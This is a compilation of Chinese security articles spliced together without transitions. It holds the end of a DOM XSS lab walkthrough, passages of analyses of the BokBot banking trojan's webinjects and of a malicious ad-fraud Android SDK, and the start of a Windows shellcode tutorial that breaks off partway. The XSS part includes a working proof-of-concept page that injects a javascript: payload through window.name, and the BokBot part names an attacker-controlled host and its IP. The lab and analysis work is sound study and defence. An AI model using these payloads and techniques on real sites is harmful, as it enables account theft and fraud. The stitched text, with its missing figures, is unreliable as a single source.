在本练习中,我们通过两个来源location.href和window.name传入数据,在满足分支条件和一些简单的处理之后就可以将其传递到HTMLElement.innerHTML 接收器。

客户端JS中可能存在条件分支代码,这可能会使创建有效的漏洞EXP变得有点困难。此练习显示了如何检测条件分支并传递正确的字符串,以便可以访问接收器并执行攻击者的代码。

1、如果我们查看来自源的数据流,我们会看到来自location.href和window.name的数据被附加在一起。

35.png

2、可以使用window.open()使用我们的数据设置window.name中的数据。在本地服务器上托管以下内容并在浏览器中打开它。在浏览器提示时启用浏览器的弹出窗口。

<html>
    <body onload=exploit()>
        <h2>PoC for Exercise 10 of https://domgo.at</h2>
        <script>
            function exploit() {
                var win = window.open("https://domgo.at/cxss/example/10?lang=en&user=ID-12345&returnurl=/", ":alert(document.domain)", "");
            }
        </script>
    </body>
</html>

3、在代码执行详情窗口中,我们看到来自location.href属性的数据在ID-之后被拆分,剩下的字符串被处理为双引号并附加到了window.name的值里面。

36.png

4、我们可以查看源进行检查条件分支。在这个例子中不是很明显,因为我们在URL中的用户参数已经以ID-开头,但情况可能并非总是如此。单击目标符号会显示JS的源代码,如果用户参数以ID-开头,很明显会到达接收器。

37.png

5、根据我们现在的情况,我们的漏洞利用只需通过导航到https://domgo.at/cxss/example/10?lang=en&user=ID-javascript&returnurl=/,在同一个窗口中生成 HTML代码,然后单击welcome href锚标签即可成功利用漏洞。

38.png

结论

Sboxr是一个非常强大的工具,可以与其他Web应用程序攻击工具(如Burp和ZAP)结合使用,尤其是在使用富JavaScript的应用程序时。源和接收器之间的数据流以及准确显示数据传输和修改方式的能力使得此工具在你的工具库中非常有用。

使用该工具,我们完成了10个练习的解决方案。对于尝试学习客户端XSS的挖掘和利用的人,建议使用本文所描述的这些东西。

参考文献:

1、Sboxr — https://sboxr.com

2、客户端XSS漏洞  –  https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting#DOM_Based_XSS_.28AKA_Type-0.29

3、命令行开关 – https://dev.chromium.org/developers/how-tos/run-chromium-with-flags

4、XMLHttpRequest(XHR)MDN  – https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest

5、window.postMessage()MDN  –  https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage

6、https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API

7、https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API

8、https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API

9、HTML 实体字符- https://dev.w3.org/html5/html-author/charref

(接上文)

八、流量操作:代理视角

BokBot的代理模块依赖于流量操作来窃取受害者的敏感信息。受害者浏览器生成的Web流量与目标url列表(webinjects)进行匹配,如果匹配成功,代理将执行下列操作之一:重定向到钓鱼网站(webfake);页面抓取;页面截图;或是忽略此条消息。对请求的响应需要匹配后再确定是否将HTML或Javascript注入页面并返回给受害者。

1.png

图3:BokBot WebFake流程概述

8.1、Web注入DAT文件

BokBot主模块下载的DAT文件是结构化的二进制文件,其中包含一系列目标url、目标HTML/Javascript代码块和要注入的Javascript/HTML代码块。在初始化过程中,该DAT文件将就每个webinject类别分成多个列表。webinject类别列表是由一系列webinject类构建的。解析后,每个元素都具有以下结构:

2.png

8.2、页面抓取

页面抓取处理函数对URL或HTML主体执行匹配,以确定是否应该抓取页面的信息并将其发送到C2。页面抓取的目标是银行帐户显示页面,以抓取目标的帐户信息。

· Type 33、34

这两种类型是使用精确的URL字符串或正则表达式来匹配受害者请求的URL。一旦匹配完成,HTML主体和匹配的URL都被发送到C2。每个目标url都与包含受害者账户信息的页面相关,例如:

chaseonline.chase.com/gw/secure/ena
client.schwab.com/Accounts/Summary/Summary.aspx

· Type 64

此类型将扫描网页主体,寻找与帐户余额、安全验证问题和其他个人数据相关的文本(“帐户余额”、“当前余额”等)。如果找到,URL、HTML主体和匹配的文本将被压缩并发送到C2。

8.3、页面截图

当URL与Type 49注入匹配时,能生成屏幕截图。过程如下:截图用Windows GDI+ API截取,生成位图,写入tmp文件,读入缓冲区,压缩,然后发送到C2。位图被写入AppData下的本地临时目录,文件名是唯一的alpha字符字符串。例如:AppData\Local\Temp\alksfjlkdsfk.tmp。

尽管我们写此篇分析报告时研究的BokBot版本中,web注入没有提供具体的示例,但我们有理由相信这些屏幕截图将包含与商业和银行帐户相关的敏感细节。

8.4、代码注入

代码注入的工作方式是匹配URL,或者对HTML元素执行匹配和替换。

· Type17、19

Type 17和19用于隐藏页面中的元素、获取表单数据、注入代码、替换代码,以及让webfake获取受害者的信任感。这两种类型的区别在于,Type 17不依赖于正则表达式来匹配和替换HTML和Javascript。

3.png

· Type 81

Type 81是被代理服务器完全忽略的url列表。这样做的目的是为了避免在广告、聊天或电子邮件客户端插入广告时可能出现的复杂情况。请求和响应由代理转发给受害者,此段代码是无需修改的。

8.5、Webfake钓鱼站点

BokBot使用webinject创建目标网站的副本,这些副本网站称为webfake。通过重写URI将流量转发到webfake站点。本节介绍用于将流量重定向到webfake的每种注入类型。这些都是在Web浏览器不知情的情况下发生的。

4.png

图4:BokBot WebFake示例

· Type 50

Type 50请求对从客户端接收到的uri执行精确匹配(没有正则表达式)。当匹配成功时,URL被重写为指向webfake站点,请求被发送到副本页面。对该请求的响应由代理服务器解析并发回给受害者。

5.png

· Type 51

若要匹配单个图标/gif/位图/其他名称,则使用正则表达式匹配和替换:

匹配的正则表达式:^https:\/\/www\.amazon\.[a-z]{2,5}\/.*\/style\/images\/(.*)\.(png’|gif)$

替换URI:hxxps://hospirit[.]com/amazon/style/images/$1.$2

hospirit的IP地址:185.68.93.136

该正则表达式将用PNG或GIF文件的名称替换值“$1”和“$2”。这个重写的请求将从代理服务器发出。

6.png

· Type 52

Type 52请求似乎是检查子字符串的URL,然后提取该数据,但是我们用于撰写本篇报告的BokBot样本中不包含Type 52的重写过程。

· URL重写绕过

如果每次受害者试图登录目标网站时都使用相同的webfake过程,那么这也会成为一个问题。一旦收集了受害者的信息,就不再需要重写url来指向webfake站点。相反,请求应该不经修改就发送到真正的网站。为了确保这一点,BokBot维持了一个位于HKCU\Software\Classes\CLSID注册表项下的子键列表。

为此,需要为每个目标站点生成唯一的名称。 此类别中包含的每种注入类型都包含Webfake模板字段,例如:

7.png

上图中,黄色标注部分的值,其作用是生成唯一注册表项名称的种子(在“验证请求”一节中有更详细的介绍)。每个目标站点都包含一个类似于上面突出显示的值,或者一个使用URL主机名的标识符(例如,“amazon”)。

如果注册表子键存在,代理服务器将向C2发送一个请求,以确定是否应该重写请求。如果C2的响应不是两个字节之一(“0x2D”或“0x2B”),则不会重写合法URL来指向webfake站点。

8.6、验证请求

验证请求由Bot API javascript生成(后面将介绍),用于向C2发送数据,或者在注册表中插入/删除/查询值。使用多种验证请求类型,每一种都由代理服务器处理。

8.png

表4:验证命令

· Type 96

为了显示“Site Down for Maintenance”消息或向受害者提供合法的网站(绕过URL重写请求),注入javascript代码的Bot API可以生成Type 96的banknameS请求。

9.png

传递给请求主体的值将被写入注册表,并由Bot API和处理URL重定向请求类型的代码执行。

每个站点都提供一个惟一的ID,该ID通过banknameS参数发送到代理服务器。此值用于生成UUID,它将是注册表项的名称。所有这些条目都是在以下注册表路径下创建的:HKCU\Software\Classes\CLSID。

创建密钥之后,位于Type 96请求主体中的值被散列并写入注册表子密钥中的(默认)值字段。

· Type 97、98

Type 97和98的验证都将由Bot API注入的javascript生成,并将对Type 96请求创建的注册表项执行操作。Type 97查询注册表以查看值是否存在,Type 98将删除键。

· Type 100

要么Verification Type 100直接传递给C2(Type 2),要么请求告诉代理服务器以某种方式与C2(Type 1)交互。这些请求是HTTP POST或HTTP GET请求,其中包含从恶意javascript代码收集的信息。

8.7、小结

让我们以cashanalyzer网站注入回顾本节的内容:首先,代理服务器从Web浏览器接收访问www.cashanalyzer.com的请求,接着代理循环遍历各种webinject列表以匹配URL,继而找到匹配项。

10.png

代理服务器从Webfake Template字段的第一部分获取2299737dfa5c070dc29784f1219cd511值,并使用它生成一个UUID来确定是否设置了“站点停止维护”页面(请参阅“8.6、验证请求”一节)。如果存在,则向C2发送一个请求,以确定块页是否应该使用新的时间更新或删除。

一旦进行了块页检查,代理服务器将接受Webfake Template的其余部分,并用web协议(HTTP/HTTPS)和URL hospirit.com/cashanalyzer替换前面的://字符串。至于URL的路径和查询,content/main?a=2299737dfa5c070dc29784f1219cd511&b=#gid#&c=#id#被附加到URL的末尾。项目ID和Bot ID值分别替换#gid#和# ID #参数值令牌。

11.png

请求将发送到webfake。发送响应并进行其他检查以确定是否有任何匹配的注入类型。如果没有找到匹配,响应将被转发回受害者的浏览器而不进行修改。浏览器无法感知网页已被重定向了,且从用户视角看,初始URL仍然在浏览器地址栏中。

当浏览器响应时,将从webfake发送额外的请求来加载相关javascript文件。在本例中,main.js是从webfake加载的。浏览器请求从重定向的网站下载javascript文件,代理服务器再次执行webinject匹配例程。结果是找到了一个Type 19的匹配项。

12.png

当重定向的网站响应请求时,“Code to Inject”值将被注入main.js代码。现在,所有收集目标的帐户信息的必要组件都已到位。

一旦收集了表单数据,代理服务器将发送和处理Verification Type 100请求。这些请求是POST请求,表单数据包含在请求体中,由代理处理后,表单数据将通过向C2通信线程发送信号发送到C2。

13.png

请求参数可以通过“七、代理与C2的通信”一节进行解析。

代理服务器处理webinjects的方式有多种变化。但是,这个例子足以展示整个工作流程。

九、流量操作:浏览器视角

由于注入的javascript API有很多变体,所以我们不试图抽象归纳每个注入的高级进程的共同点,本节将继续以上一节中介绍的cashanalyzer.com为例。举一反三,此类分析也可用于了解其他注入的工作原理。

在本节中,前两小节将介绍站点如何与受害者、代理和C2之间进行交互。最后的“9.8、小结”一节则汇总介绍。

9.1、Bot API:核心Javascript模块

如前所述,main.js文件包含了Bot API代码。此代码提供了与代理、C2和网页HTML元素交互所需的一切,以确保受害者在输入帐户信息时能无缝链接。

9.2、令牌状态

令牌的状态是一个数字指示器,用于标识Bot API下一步应该采取什么操作。有五种象征性的状态:

1.png

表5:令牌状态

比如,如果出现某种错误,令牌状态被设置为3或4,这将触发javascript中的逻辑调用viewBlock方法(下一节中讲述)并加载“Site Down for Maintenance”(网站正在维护)页面。

9.3、页面视图的体系结构

为了确保以正确的顺序收集正确的信息,Bot API依赖于传统的视图/控制器体系结构。在本例中,控制器是由攻击者控制的webfake站点。Bot API客户端通知C2它已准备好接收命令,服务器响应命令,此命令用于加载下一页面视图。

2.png

表6:页面视图命令

Bot API接收到该命令后,将修改相关HTML元素的CSS显示字段来显示此代码块。使用webfake的典型会话将采取以下步骤:

1.加载登录页面视图

· 受害者输入账户信息并提交表单

· 在处理登录表单时,将显示一个等待页面

2.加载安全令牌页视图

· 受害者进入安全令牌

· 在处理安全令牌表单时,将显示一个等待页面

3.加载了姓名/姓氏/电话号码页面视图

· 受害者输入此信息

· 在处理此表单时,将显示另一个等待页面

下面的“9.8、小结”中将对此举例介绍介绍。

9.4、等待页面

当受害者试图登录网站时,代理将请求转发给webfake站点,而该站点将请求转发给合法站点,因此会有一段空闲期。为了避免引起任何怀疑,Bot API会显示一个等待页面。

3.png

图5:登录后等待页面

该网站有多个版本,每个版本对应一个帐号信息收集过程:登录信息;安全令牌信息;安全问题的答案;以及收集受害者姓名和地址的表格。

9.5、通信:Bot API请求到C2

代理服务器使用Validation Type 100请求将代表Bot API的命令转发到C2。这些请求中包含一个base64编码的字符串。该字符串解码为JSON格式的一系列参数。

4.png

表7描述了每个参数的含义。在这种情况下,Bot API通知C2该页面尚未初始化(无效)。

5.png

表7:Bot API C2通信的URL参数

Bot API定期发送Heatbeat(Type 1)请求。这些请求用作维持与C2的持续通信的手段,并为Bot API提供接收命令的媒介。

9.6、通信:C2响应Bot API

来自C2的响应包含了指定Bot API根据初始请求需要执行哪些操作的命令。每次提交表单后,C2都会接收到一条命令,告诉Bot API接下来要加载哪个页面。这些响应也是base64编码的JSON。

6.png

在本例中,命令ID为“99”,内容是告知Bot API重新加载原始站点。这将重置所有表单,清除所有站点块并加载原始页面。表8涵盖了C2响应的各个字段:

7.png

表8:C2响应字段

可以看到,表8的id字段与表6的内容是一致的。

9.7、站点维护页面

只要Bot API的令牌状态设置为“3”或“4”,就会显示一个错误页面,指出存在技术问题(图6)。只要存在与C2,webfake,代理服务器通信的问题,或者当webfake与真实网站通信时发生错误,令牌会被设置为这两种状态之一。

8.png

图6:BokBot代理的“Site Down for Maintenance”页面

修复日期是通过在当前时间上添加一个小时生成的。在显示网站之后,通过发送一个Type 96 Verification请求在注册表中设置这个时间戳。一旦计时器过期,将发送一个Type 98 Verification请求来从注册表中删除阻塞时间。

日志记录

Bot API不断地将日志数据作为base64编码的JSON发送回C2。下面是解码后的JSON对象:

9.png

此数据块有一系列键-值对,其中h键中包含了日志,也就是值。这些日志是描述性的,对于攻击者来说非常有用。

9.8、小结

9.8.1、初始浏览器请求

用户的浏览器向cashanlyzer.com发送请求,请求被代理拦截后重写,并发送到webfake站点,代理再将响应发送回受害者。页面内容还包含以下javascript代码,用于从攻击者控制的站点加载javascript文件:

10.png

这个main.js请求由代理转发,并在响应中注入以下代码:

11.png

此代码将调用main.js中定义的String.prototype.init方法。init方法包含恶意Bot API javascript模块,并将最终调用main函数来初始化和加载webfake站点。

12.png

图7:Cashanalyzer伪登录页面

在执行检查以确定是否需要加载块页面之后,Bot API调用viewStep方法并将字符串“login”传递给它,“login”是包含登录表单的HTML <div>对象的元素id。

13.png

该元素的显示字段将从none切换为block,并显示登录页面(图7)。之后用户就可以在该页面输入登录信息并单击“continue”。所有输入的数据都被放入C2请求结构中,并发送到webfake站点。

14.png

上面突出显示的段落中,第一部分是用户帐户凭据,第二部分是日志信息。日志信息会通知另一端的用户登录视图已经加载,最后一个视图是等待页面。

当Bot API不断发送心跳请求,等待来自webfake站点的响应时,受害者看到的等待页面会出现混乱。

15.png

处理完成后,Web服务器会响应一个命令来禁用登录页面,并使下一页面显现,在本例分析中,该命令是加载用户联系信息表单。

16.png

其余步骤是自解释的:后续操作由导致等待时间的表单组成,然后是其他表单,直到到达最后一步。

9.8.2、结束过程

收集完所有信息后,Bot API向代理服务器发送一个Validation Type 96的请求,但注册表中设置的值不是时间戳,而是字符串“true”,如下所示。

17.png

此请求指示代理服务器使用(默认)值创建 ‘HKCU\Software\Classes\CLSID\{7570CC99-D32B-6883-1375-9D2881583EFB)‘ 注册表项,并设置为四字节二进制值。设置完成后,任何进一步的访问尝试都会绕过所有重写URL的尝试(注入类型50,51,52),并将加载合法网站。

要加载合法网站,页面需要刷新,之后用户就能登录到合法的cashanalyzer.com网站。当然,如果用户要访问的网站仍与webinject匹配,那么还是会被手机信息(收集帐户余额数据等)。

十、CrowdStrike Falcon是如何阻止BokBot感染的

CrowdStrike Falcon Prevent™新一代防病毒软件在启用进程阻塞时能成功阻止BokBot,过程如下。

BokBot生成一个svchost子进程,注入主模块,然后svchost进程生成并注入多个子进程。图8中的流程树是使用已开启流程阻塞功能的Falcon Prevent,查看BokBot时的示例。如下所示,位于第一个svchost进程内部的BokBot的主模块启动了几个恶意子进程。

1.png

图8:未启用进程阻塞的BokBot进程树

如果没有启用预防功能,客户仍然会收到恶意活动的通知,但是不会自动采取任何预防动作。

10.1、可疑进程阻塞

Falcon Prevent能阻止BokBot的主模块和所有子模块的执行,同时启用了进程阻塞的Falcon Prevent可以杀死父进程svchost上的BokBot感染。图9是启用了流程阻塞的Falcon UI中的流程树,可以看到svchost流程被终止了。图10解释了终止此流程的原因。

2.png

图9:启用进程阻塞的BokBot进程树

3.png

图10:BokBot进程终止说明

可疑进程阻止是基于恶意软件行为的防护示例。即使恶意软件使用了Falcon的攻击指标(IOA)中未记录的行为,Falcon也可以通过利用下一代AV机器学习或Crowdstrike Intelligence团队收集的情报来防止恶意软件的执行。

十一、指标

BokBot哈希值

本文样本使用了以下哈希:

1.jpg

文件位置:

2.jpg

注册表:

3.jpg

网络监听器:

4.jpg

攻击者控制的网站:

5.jpg

一、概要

2018年4月,腾讯安全曝光了“寄生推”,揭开了流量黑产的面纱,让大众了解到黑产正逐步隐藏到幕后,通过伪装正规SDK的方式,借助大众开发者触达用户,然后动态下发指令,通过恶意广告和应用推广,赚取广告推广费用,实现灰色牟利。无独有偶,近日,依托腾讯安全大数据,腾讯安全反诈骗实验室追踪到暴风影音、天天看、塔读文学等众多应用中集成的某SDK存在下载恶意子包,通过webview配合js脚本在用户无感知的情况下刷百度广告的恶意操作。

该恶意SDK通过众多应用开发者所开发的正规应用,途经各中应用分发渠道触达千万级用户;其背后的黑产则通过恶意SDK留下的后门控制千万用户,动态下发刷量代码,大量刷广告曝光量和点击量,赚取大量广告费用,给广告主造成了巨额广告费损失。

根据安全人员详细分析,此恶意SDK主要存在以下特点:

1. 该SDK被1000+千应用开发者使用,通过应用开发者的分发渠道抵达用户。主要涉及的应用包括掌通家园、暴风影音、天天看、塔读文学等,潜在可能影响上千万用户;

2. 刷量子包通过多次下载并加载,并从服务器获取刷量任务,使用webview加载js脚本实现在用户无感知的情况下自动化的进行刷量任务。

此类流量黑产给传统的广告反作弊带来了极大挑战,传统通过IP、曝光频率、点击率等表象数据形成的反作弊策略难以识别这种控制大量真实设备做’肉鸡’的刷量作弊,使得大量广告费用流入黑产手中,却无法给广告主带来应有的广告效果。

二、SDK作恶流程和影响范围

此恶意SDK集成在应用中的那部分代码没有提供实际功能,其在被调用后会定时上报设备相关信息,获取动态子包的下载链接,下载子包并加载调用。然后由子包执行相应的恶意行为。

恶意SDK作恶流程示意图:

受恶意SDK影响的主要应用列表:

三、恶意SDK作恶行为详细分析

此恶意SDK被众多的中小应用开发者集成,我们以应用塔读文学为例,对其恶意行为进行详细分析。

恶意SDK代码结构:

此sdk代码较少,没有什么实际的功能。其在被加载调用后,会设置定时任务,每隔3600秒(1小时)启动GatherService,上报设备相关信息,获取动态子包__gather_impl.jar的下载链接。

GatherService链接服务器,获取__gather_impl.jar的下载链接。

请求链接:http://gather.andr****.com:5080/gupdate/v1。

请求数据:包括uid、应用包名、设备id、应用版本、手机厂商、型号、系统版本、imei、sdk版本等内容。

返回内容:包括子包的版本、下载url、文件md5。

动态加载下载的__gather_impl.jar。

子包__gather_impl.jar代码结构,此子包的主要功能有:1、上传用户设备信息,2、下载并动态加载子包stat-impl.jar。

1)链接服务器,上传用户设备信息

服务器链接:http://userdata.andr****.com/userdata/userdata.php (此url在分析时已失效,无法链接)。

上报内容:包括位置信息(经纬度),用户安装列表(软件名、包名),设备信息(厂商、型号、fingerprint,是否root),deviceid、手机号、运营商、imei、mac等。

2)再次请求服务器,获取stat-impl.jar的下载链接。

请求链接:http://iupd.andr****.com:6880/wupdate/v1。

请求数据:包括uid、imei、sdk版本、手机厂商、型号、系统版本、应用包名、设备id、设备指令集等内容。

返回内容:包括子包的版本、下载url、文件md5。

子包下载完成后,调用native方法动态加载此子包。

stat-impl.jar的代码结构:

stat-impl.jar子包被加载后,线程com.drudge.rmt.g会被启动,其作用主要是用来联网获取刷量任务,并调度任务的执行。

主要的刷量任务包括:1、刷百度搜索的关键字,2、使用js脚本实现自动点击、滑动来刷百度广告和亿量广告的点击,3、使用webview刷网页访问。

1. 刷百度关键字搜索

此任务会根据获取json字符串,进行相应的操作,包括设置BAIDUID、更新配置、添加任务、设置剪切板和使用关键字刷百度搜索。

设置关键字,使用webview加载对应的url:

捕获到的刷百度关键字的webview加载请求:

链接服务器http://tw.andr****.com:6080/wtask/v1获取相关任务,并将任务内容存入[package]/cache/volley目录下:

2. 使用js脚本刷百度广告

使用webview加载http://mobads.baidu.com/ads/index.htm,并在加载完成后执行js脚本实现自动滑动、点击、保存等操作来自动刷广告。

相关的js脚本。

1)js函数定义滑动、点击、保存等操作。

Java层解析并实现js层传递过来的操作命令。

2)js函数判断并获取页面元素。

3)js函数计算页面元素相对位置,并进行滑动、点击操作。

捕获到的刷百度广告的webview加载请求:

3、使用webview刷网页访问

此任务向服务器请求需要访问的url链接,在获取到相应的网页url后,使用webview加载进行访问。

请求需要访问的url链接

请求链接

http://us.yiqimeng.men:8080/geturls?k=beike-xinshiye&c=5

返回内容

["http://m.xinshiye.cc/cars/17/10/21/707989.html?content_id=707989u0026key=x2HAJuZaaa9YWpVa8EXTqOmHHUxhSnj75xhhAS7f6tveQsphsCm3jc9xrhV4RZbRzgm%2FQqzCVcw2dvukMqw25Q%3D%3Du0026_t=1511190410",

"http://m.xinshiye.cc/cars/17/10/11/234818.html?content_id=234818u0026key=NzLZyHQXsCdpS6bkAWab2LSzd2XApbGOJYUuN%2Bm4PFsoWk1l%2FnZSD8M1yp1cuhz%2FdL0uoNG93TVt8ai6zEU%2BQw%3D%3Du0026_t=1511190560",

"http://m.xinshiye.cc/cars/17/11/26/1769446.html?content_id=1769446u0026key=8KLxL1fm2gwNDxqT6nsSAbQ07kcEZRHBrekhzNSJcNaAg1nZmbW49pQ3EaEYJfMUeMlwSX4KzdliXJ3O37fs9g%3D%3Du0026_t=1513046929",

"http://m.xinshiye.cc/cars/17/10/31/1444661.html?content_id=1444661u0026key=mODVhDy0zyzBGH1G6sTwDYXqiy3D7pDfymsirda6s5%2BW8tarfIDPjuhT3mkqeMMDKzKr%2BFVC2Py2gzsNkMniHw%3D%3Du0026_t=1509589907",

"http://m.xinshiye.cc/cars/17/12/09/1921549.html?content_id=1921549u0026key=0XFxkCX0Bn4k%2Fw5%2FqvlSIOCREqEWoJ5jimqn%2BZAeJIwksQzydyT0AZFAVZJAritm3hpGza4TFNlONZDtoY%2BfTA%3D%3Du0026_t=1513045278"]

使用webview访问获取url:

捕获到的刷求医不如健身网的webview加载请求:

四、相关URL整理

五、结语

从近期Android端恶意应用的作恶手法来看,恶意开发者更多地从直接开发App应用转向开发SDK,向Android应用供应链的上游转移。通过提供恶意的SDK给应用开发者,恶意开发者可以复用这些应用的分发渠道,十分有效的扩大影响用户的范围。而在恶意SDK的类别方面,黑产从业者主要把精力放在用户无感知的广告刷量和网站刷量等方向,通过使用代码分离和动态代码加载技术,可以完全从云端下发实际执行的代码,控制用户设备作为“肉鸡”进行广告、网站刷量等黑产行为,具有很强的隐蔽性。

这类流量型黑产逐渐增多,不仅对手机用户造成了危害,同时也给移动端广告反作弊带来了很大的挑战,传统基于IP、曝光频率、点击率等表象数据形成的反作弊策略难以识别这种控制大量真实设备做’肉鸡’的刷量作弊,难以保障应用开发者和广告主的正当权益。

*本文作者:腾讯手机管家,转载请注明来自FreeBuf.COM

前言

针对一个已经学习了Linux Shellcode开发,并开始在Windows上尝试的研究人员来说,这一过程可能要比想象的更加艰难。Windows内核与Linux完全不同。尽管如此,但Linux内核要比Windows更容易理解,原因在于其开源的特性,并且与Windows相比,Linux只具有相当少的功能。另一方面,Windows在过去几年中进行了重大的改进,由于这一改进,新版本与老版本相比已经发生了许多变化。在本文中,我们将专注于对Windows 10 x86进行分析,但其他旧版本可能与之相比没有太多的不同。目前,已经有很多关于PEB LDR的博客文章,但我们还没有看到有任何文章中展现了完整的逻辑,并阐述其本质原因的。大多数研究人员只是通过WinDBG进行分析,并要求读者具备一定程度的后端基础。我撰写这篇文章的主要原因,是希望从C语言转到ASM,并希望我们能共同了解在ASM x86中进行Shellcode开发时,后端的工作原理。

.data段

在我们开始处理Shellcode部分之前,我建议首先应该理解内存是如何工作的,因为我们即将做的一切操作都是在内存中。如果我们已经了解像LPWSTR、LPSTR这样的Windows数据类型,那么无疑是一个好消息,因为我们必须要知道:

标准的C语言并不等同于Windows C编程

接下来,唯一需要重点掌握的,就是基本的Assembly x86。默认情况下,除了系统调用或API调用之外,ASM在Linux或Windows中是相同的。因此,了解寄存器的工作原理就显得非常重要。

最重要的是,我们应该了解如何对二进制文件进行反汇编。我主要使用x32dbg和WinDBG x86。我会同时使用这两个工具进行调试,因为有一些我们不能在x32dbg中完成的事情,在WinDBG x86中是可以的,反之亦然。因此,我们将不断切换使用这两个工具。

.text段

在我们开始使用Shellcode之前,理解其在较低级别的工作方式,这一点非常重要。我们首先将从一个非常简单的例子开始,找到系统的当前主机名。我们来看看下面是使用C语言编写的Windows API示例:

1.png

在上图中,我创建了两个变量,分别是compName和compNameSize。这些将是提供给函数GetComputerNameA的参数。请记住,GetComputerNameA和GetComputerNameW有两个相似的函数。 W代表宽Unicode字符,而A代表ANSI CHAR字符串。我们将在整个博客系列中使用ANSI。下面是MSDN对GetComputerNameA函数的说明:

BOOL GetComputerNameA(LPSTR lpBuffer, LPDWORD nSize);

上面的代码表示,GetComputerNameA接受LPSTR,表示长指针字符串,而LPDWORD则表示长指针双字。一个字的大小是16位,因此DWORD在所有平台上都是32位。现在,如果使用g++编译上述程序,我们将看到如下内容:

2.png

现在在这里,在程序的最开始,有#include <windows.h>,这也就意味着Windows库将被引入到代码中,它应该在这里动态链接默认依赖项。但是,我们不能对ASM进行相同的操作。在ASM的场景中,我们需要动态地找到函数GetComputerNameA所在的地址,在堆栈上加载参数,并调用具有函数指针的寄存器。我们要知道的一件重要事情是,Windows的大多数功能,都是通过三个主要DLL访问的:NTDLL.DLL、Kernel32.DLL和Kernelbase.DLL。因此,无论任何时间执行任何二进制文件,这些都是始终要加载的必要DLL。为了加载函数GetComputerNameA,我们必须找到这个函数所在的DLL,并在那里找到它的基址。接下来,我们在x32dbg上尝试加载任何x86二进制文件,看看能得到什么。我将加载我们编译的上述exe文件,但实际上,我们可以加载任何随机的32位可执行文件,因为我们只会浏览上面提到的那些DLL。使用x32dbg打开exe文件,并导航到Log部分,可以看到加载了这三个DLL,以及其特定的地址:

3.png

接下来,我们将导航到突出显示的Symbols部分,可以看到加载的不同DLL的名称。在这里,我们可以浏览DLL,并查看它们提供的所有功能。

4.png

现在,如果我们在搜索框中搜索函数GetComputerNameA,它将显示Kernel32.DLL加载该函数。此外,还将打印出函数所在的地址0x74F69AC0。在理论和实际测试中,这一点都能够很好地展现。接下来,让我们通过C编程然后通过ASM来完成,我们要执行的步骤如下:

1. 使用函数LoadLibraryA WinAPI在内存中加载Kernel32.dll;

2. 使用GetProcAddress在Kernel32.dll中找到函数GetComputerNameA的地址;

3. 将GetProcAddress返回值类型转换为接受2个参数的WinAPI函数(因为GetComputerNameA接受2个参数);

4. 为ComputerName及其Length创建缓冲区。

将Address作为函数指针来执行。

5.png

访问LoadLibraryA的MSDN页面,可以发现它返回一个HMODULE,这意味着它将一个句柄返回到一个被加载的模块。因此,我们创建了一个变量hmod_libname。类似地,GetProcAddress返回从DLL加载的函数的地址。我们需要将GetProcAddress返回的地址类型转换为GetComputerNameA函数,以使其能够正常工作。为此,我们创建了一个typedef,它基本上复制了函数GetComputerNameA的结构。在上图中,我们加载库Kernel32.dll,并使用GetProcAddress查找函数GetComputerNameA的基址,将地址存储在GetComputerNameProc中。最后,我们创建两个变量CompName和CompNameSize,并使用(*GetComputerNameProc)作为函数指针,执行存储在GetComputerNameProc中的地址,并为其提供所需的变量。上面的代码中,还打印了函数GetComputerNameA的地址。我们尝试对其进行编译,看看结果如何:

6.png

不错!地址0x74F69AC0与上面用x32dbg调试时发现的地址一致。

_start

我们接下来进入到有趣的部分。所有DLL及其函数的地址在重新启动时都会发生变化,并且在每个其他系统中都会有所不同。这就是我们无法对ASM代码中的任何地址进行硬编码的原因。但是,主要问题仍然存在,那就是我们如何找到kernel32.dll自身的地址?

我在一开始说过,每个exe都加载了Kernel32.dll、NTDLL.DLL和Kernelbase.dll。事实上,这些DLL是操作系统中非常重要的一部分,每次在执行任何操作时,都会加载这些DLL。因此,这些DLL到内存中的加载顺序总是相同的。然而,这可能因操作系统而异。这就意味着,在Windows XP与Windows 10之间可能有所不同,但所有Windows 10中的加载顺序将保持不变。

所以,我们在继续下一步之前,需要完成下面的工作:

1. 找到Kernel32.dll的加载顺序;

2. 找到Kernel32.dll的地址;

3. 找到GetComputerNameA的地址;

4. 在栈上加载GetComputerNameA的参数;

5. 调用GetComputerNameA函数指针。

可能听起来很容易?我们来实际尝试一下。

查找kernel32.dll的地址并不简单。当我们执行任何exe时,在操作系统中首先创建的就是TEB(线程环境块)和PEB(进程环境块)。

我们的主要关注点在于PEB结构(称为LDR),因为这是与进程相关的所有信息都被加载的地方。从流程参数到流程ID的所有内容都存储在这个位置。在PEB中,有一个名为PEB_LDR_DATA的结构,它包含三个关键部分。这些被称为链接列表(Linked Lists)。

1. InLoadOrderModuleList – 加载模块(exe或dll)的顺序;

2. InMemoryOrderModuleList – 模块(exe或dll)存储在内存中的顺序;

3. InInitializationOrderModuleList – 在进程环境块中初始化模块(exe或dll)的顺序。

在链表中加载模块的顺序是固定的。这意味着,我们如果能够在上面的列表中找到kernel32.dll的顺序,就可以搜索kernel32.dll的地址,并继续进行。现在,我们启动WinDBG x86。如果各位还没有安装WinDBG及其依赖项,你可以在SLAER上找到一篇关于WinDBG的文章。一旦安装WinDBG之后,就可以像我们之前那样打开任意的exe文件。

在WinDBG中加载exe文件后,会显示一些输出。限制,我们将忽略输出内容,并在下面的命令提示符中输入.cls以清除屏幕并重新开始。现在,我们在命令提示符下输入!peb,看看在这里能够得到什么:

7.png

如大家所见,我们得到了LDR(PEB结构)的地址,即779E0C40。这非常重要,因为我们要使用该地址来计算前进的地址。接下来,我们输入命令dt nt!_TEB,以查找PEB结构的偏移量。

8.png

如我们所见,_PEB位于偏移量0x030的位置。以类似的方式,我们可以使用dt nt!_PEB查看_PEB结构的内容。

9.png

_PEB_LDR_DATA的偏移量为0x00c。接下来,我们尝试查找_PEB_LDR_DATA结构中的内容。我们可以用类似的方式实现这一点:

dt nt!_PEB_LDR_DATA

10.png

